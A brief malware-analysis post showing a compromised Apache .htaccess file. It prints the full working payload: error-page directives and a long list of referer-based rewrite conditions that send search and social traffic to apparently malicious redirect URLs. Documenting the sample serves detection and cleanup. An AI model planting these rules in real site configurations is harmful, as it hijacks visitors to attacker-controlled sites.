Infected .htaccess File

This malicious code was found in a .htaccess file.  It redirects every HTTP Request with 400, 401, 403, 404, 500 status code, to a malicious link. It also redirects all known search engine bots to malicious website.

#apachecodes

ErrorDocument 400 http://buy-autocad.net/tds/go.php?sid=8&
ErrorDocument 401 http://buy-autocad.net/tds/go.php?sid=8&
ErrorDocument 403 http://buy-autocad.net/tds/go.php?sid=8&
ErrorDocument 404 http://buy-autocad.net/tds/go.php?sid=8&
ErrorDocument 500 http://buy-autocad.net/tds/go.php?sid=8&

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*gmail.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*googlemail.* [OR]
RewriteCond %{HTTP_REFERER} .*inbox.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotmail.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://www.academiatrivium.com/marhoycukind/r.php [R=301,L]
</IfModule>